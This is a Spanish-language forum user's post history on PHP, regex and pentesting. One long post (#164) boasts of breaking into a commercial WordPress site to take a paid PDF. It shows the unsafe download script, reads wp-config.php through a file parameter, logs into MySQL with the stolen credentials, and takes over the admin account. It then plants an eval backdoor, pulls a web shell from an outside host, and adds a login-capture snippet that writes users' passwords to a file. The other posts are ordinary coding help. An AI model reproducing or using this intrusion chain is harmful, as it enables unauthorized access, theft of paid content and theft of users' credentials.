Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - ~ Yoya ~

#161
así es.
#162
LOL
#163
Cita de: afdlkglfgfdgfhgf en 22 Agosto 2012, 00:59 AM
una de las fases antes de realizar un PENTEST es recolectar información tanto por FOOTPRINTING o FINGERPRINT, y provocar un error muchas veces suele dar datos muy jugosos como un PATH, sqli basadas en errores,IP's,version del servidor etc.. , claro está que evitando estos en muchos casos no conseguiras mitigar ataques pero creo que es una buena forma de hacer las cosas. ;)

por cierto hay muchos ataques que se basan en errores, tanto de programacion como de configuracion del servidor.



Claro hay muchísimos ataques que se basan en errores, pero estas hablando en general, en este caso nos referimos a errores de programación a nivel web y mayormente los errores que se provocan al nivel web son errores de sintaxis, las otra parte de errores son bug's en algunas funciones que hacen que provoquen error.

En este tema abarca, lenguajes que se ejecutan al lado del cliente como javascript y los del lado del servidor PHP, Python, Perl, Java, etc... Porque si atacamos a los servicios que corren en un servidor ya es otro tema esa.

Si estas buscando vulnerabilidades en un CMS de PHP, como por ejemplo SMF y comienzas a tratar de provocar errores para poder encontrar vulnerabilidades, vas MUY MAL.

Recordando claro que en este tema se hablo sobre error_reporting que es una función de PHP y de SQLI, así que el tema circula sobre PHP.

Saludos.
#164
[code]Un error de PHP no indica que una web es vulnerable, pero si se provoca el error de forma concierte puede indicar que la web es vulnerable como en el caso de SQLI. Pero en lo personal, la peor forma de buscar vulnerabilidades es a partir de provocaciones de error, porque simplemente no sabe lo que hace.

La mejor formar, es saber qué por si solo un código PHP no se vulnera/explota así mismo, el problema viene cuando el sistema necesita utilizar información dada por el usuario, entonce hay que verificar hacia donde va la información, en que parte se utilizas y cuando conozcas hacia donde va y como utiliza la información, y sepas como funciona todo, tendrás que pensar en alguna forma de manipular la información, de forma que realice una acción que desees.

Para esto no vale que sepas SQLI, LFI, RFI, XSS o hagas una lista de todas las vulnerabilidades que conoces y la vayas descartando cada una. Aqui vale la logica y mientra mejor sea tu nivel de programación, mas rápido detectaras errores lógicos que puedas aprovecharte y vale mucho los trucos que sepas.



Por ejemplo, hace como 1 mes estaba navegando por internet, buscando un tipo de información especifica (nada de programación, hacking ni nada similar, algo personal), encontré una pagina muy buena, que vendía un material en PDF. Me puse a navegar, a ver si encuentro el archivo por hay y nada. Entonce opte por ingresar a su servidor y bajarme el archivo PDF directamente.

La web estaba en wordpress. Revisando los post, encontré un post que hacia una descarga directa a un archivo que tenia de muestra, este archivo tenia un parámetro, que se utilizaba para descargar un archivo especifico y bueno, le quite el parametro de forma que quede el archivo solo: web.com/archivo.php y me hizo una descarga directa al archivo.php y bueno este es el codigo del archivo.php.

Código (php) [Seleccionar]
<?php
    $f 
$_GET["f"];
    
header("Content-type: application/octet-stream");
    
header("Content-Disposition: attachment; filename=\"$f\"\n");
    
$fp=fopen("$f""r");
    
fpassthru($fp);
?>


Como el sistema que utilizaba era wordpress, descarge el archivo wp-config.php con la idea de conectarme remotamente por MYSQL, recordando que el archivo.php, se encontraba en la raiz del servidor y el archivo wp-config.php tambien se encuentra en la raiz, solo debi pasar el parámetro del archivo wp-config.php

web.com/archivo.php?f=wp-config.php

Descarge el archivo wp-config.php
Código (php) [Seleccionar]

// ** Ajustes de MySQL. Solicita estos datos a tu proveedor de alojamiento web. ** //
/** El nombre de tu base de datos de WordPress */
define('DB_NAME', 'wp_sys');

/** Tu nombre de usuario de MySQL */
define('DB_USER', 'user_bd');

/** Tu contraseña de MySQL */
define('DB_PASSWORD', 'MysqlPass');

/** Host de MySQL (es muy probable que no necesites cambiarlo) */
define('DB_HOST', 'localhost');


Luego me conecte de forma remota a la base de datos MYSQL, primero que nada le hice un ping a la web para conocer su IP para así pasarle el parámetro.

Código (sql) [Seleccionar]
yoya@Debian:~$ mysql -h 182.94.110.121 --user=user_bd --password=MysqlPass
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1125935
Server version: 5.1.38-log Source distribution

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use wp_sys;
Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wp_sys      |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_snews_members      |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.18 sec)

mysql>


Bueno luego cambie la password del admin, por el mio para poder entrar a la administración y subir shell. Recordando que wordpress, utiliza phpass, el password que utilice debe ser un password phpass para que funcione.

Lo cambie y todo, entre al sistema de administración de WordPress, me fui al lado de los plugins y había un editor de archivo y le agregue esta linea
Código (php) [Seleccionar]
<?php eval($_GET['e']); ?>.

Y bueno ahora subi la SHELL.

web.com/wp-plugin/pluginNAME/file.php?e=file_put_contents('shell.php',file_get_contents('http://www.example.com/shell.txt'));

Y bueno ahora solo queda ir a la dirección de la SHELL que seria:

web.com/wp-plugin/pluginNAME/shell.php

Y bueno ya tenia la shell en el servidor, pero me fije que el archivo no se encontraba en ese servidor sino en otro que tenia, en ese otro servidor tenia otros documentos para vender, y el otro servidor usa WordPress y de casualidad tiene el mismo archivo de descarga en el mismo lugar.

Hice lo mismo paso de arriba pero con la diferencia, en que no me permite la conexión MYSQL remotamente.

Luego se me ocurrió probar entrar a la administración con el mismo pass que utiliza el administrador en su primera web (en la que pude subir shell), y bueno se me ocurrió capturar su password en texto plano, así no tengo que descifrar sus el hash generado por phpass y ahorrarme muchísimo tiempo.

Agregue esta linea al archivo wp-login.php
Código (php) [Seleccionar]
<?php
if(!empty($_POST['wp-submit']) && !empty($_POST['log']) && !empty($_POST['pwd'])) {

    if(
$_POST['wp-submit'] == 'Acceder') {

    
$f fopen('wp.txt',"a");
     
fputs($f$_POST['log'].':'.$_POST['pwd']."\n");
 
    
fclose($f);
}}
?>


Cada vez que alguien intente loguearse, capturare su usuario y password y creare un archivo wp.txt con su user y pass, para luego revisarlo, la estructura del archivo wp.txt es la siguiente:

user:pass
Anonww:wwxDDF


He hecho unos testeo haber si todo marcha a la perfeccion y si, todo va bien pero todavia no he capturado su usuario y pass pero el ha posteado varias veces. Supongo que es porque la primera vez que se logueo le dio a recordar y por eso no ha tenido que ingresar su usuario y password, o puede ser que al introducir datos correctos, no llegue a pasar por esa linea de codigo y por lo tanto nunca llega a guardar su usuario y password. Luego tendre que hacer unas pruebas, haber porque solo me captura el usuario y password cuando me intento loguear con datos incorrecto.

Saludos.

fxf
#165
Es un hash generado por PHPASS, contiene un salt que es random y varia el hash aunque el texto descifrado sea el mismo.

En la lista que pusiste, debes usar la opcion "400 = phpass, MD5(Wordpress), MD5(phpBB3)".

Saludos.
#166
PHP / Re: Ayuda con expresion Regular
19 Agosto 2012, 16:04 PM
Tienes dos problemas.

  • El primero es que estas utilizando una Meta-Secuencias que no deberias utilizar en este caso. Que es \W
  • El segundo problema es que debes hacer que la expresión finalice al encontrar la primera coincidencia y no la ultima coincidencia

La razón porque en este caso no debes utilizar la Meta-Secuencia \W, es porque estas combinando \w y \W en un campo de carácter ([\w\W]), con eso vas a tomar cualquier caracteres, ya sea alfa-numérico, signos, caracteres raro, TODO. En este solo necesitas utilizar \w, ya que solo estas capturando una cadena de caracteres del abecedario.

El otro problema es que debes hacer que finalice al encontrar la primera coincidencia y no a la ultima coincidencia. Para esto utilizas el cuantificador ? en combinación al cuantificador + o *.

Código (php) [Seleccionar]
preg_replace('/opini[\w]+n/i', 'OPINION', 'mi opiniooooon es que lo que no comen lo bota');
Salida:
mi OPINION es que lo que no comen lo bota




Y utilizando ?, para que termine en la primera coincidencia.
Código (php) [Seleccionar]
preg_replace('/opini[\w\W]+?n/i', 'OPINION', 'mi opiniooooon es que lo que no comen lo bota');
Salida:
mi OPINION es que lo que no comen lo bota



Esto seria lo correcto para tu caso:
Código (php) [Seleccionar]

preg_replace('/opini[\w]+?n/i', 'OPINION', 'mi opiniooooon es que lo que no comen lo bota');

Salida:
mi OPINION es que lo que no comen lo bota


Te recomiendo esta web para que pruebes tus regex, yo siempre la utilizo: Regex Tool.

Saludos.
#167
PHP / Re: PHP, PDO y Oracle
17 Agosto 2012, 02:05 AM
yo XAMPP lo he utilizado una sola vez, siempre acostumbro a instalar todo por separado y luego configurarlo. Nose si tendrás problema para hacerlo funcionar con XAMPP ya que todo viene, pre-configurado para que funcione con PHP, MYSQL y Apache.

Te recomiendo que instales todo los servicio por separado y te acostumbre a leer la documentación oficial de los sitios. La documentación sobre la configuración de software en lo sitios oficiales, basta para poder configurar bien un software. Ya que ese tipo de informacion es esencial.

Installing Oracle Database, PHP, and Apache on Microsoft Windows XP

Saludos.
#168
No te voy a decir que gana o pierde feminidad, pero te digo que las mujeres con el pelo largo se ven muy femeninas. A mi me han gustado bastante mujeres con el pelo semi-largo y largo, pero me gusta ver a las mujeres con el pelo largo.

Saludos.


#169
Este patron eliminara todos los tags.

http://jsfiddle.net/srUdp/
Código (javascript) [Seleccionar]
var Cadena = 'asd<strong>asd</strong> <strong>asd</strong> <strong>asd</strong>asd asd<strong>asd</strong>asd';

var result = Cadena.replace(/(?:<[^>]+>)/gi, '');
document.write(result);


Result:
asdasd asd asdasd asdasdasd

Te recomiendo esta pagina para que testes tu expresiones regulares -> http://regex.larsolavtorvik.com/

Saludos.
#170
Entonce supongo que el error debe ser que el script no este obteniendo el código de fuente de la web o le este pasando una URL erronea o quizas se ha renovado el codigo que utilizan para utilizar ReCaptcha y por eso no funciona.

Igual el source es solo un PoC (Prueba de conceptos), que el plan es demostrar que se puede realizar el bypass no es un exploit ni nada similar.

Saludos.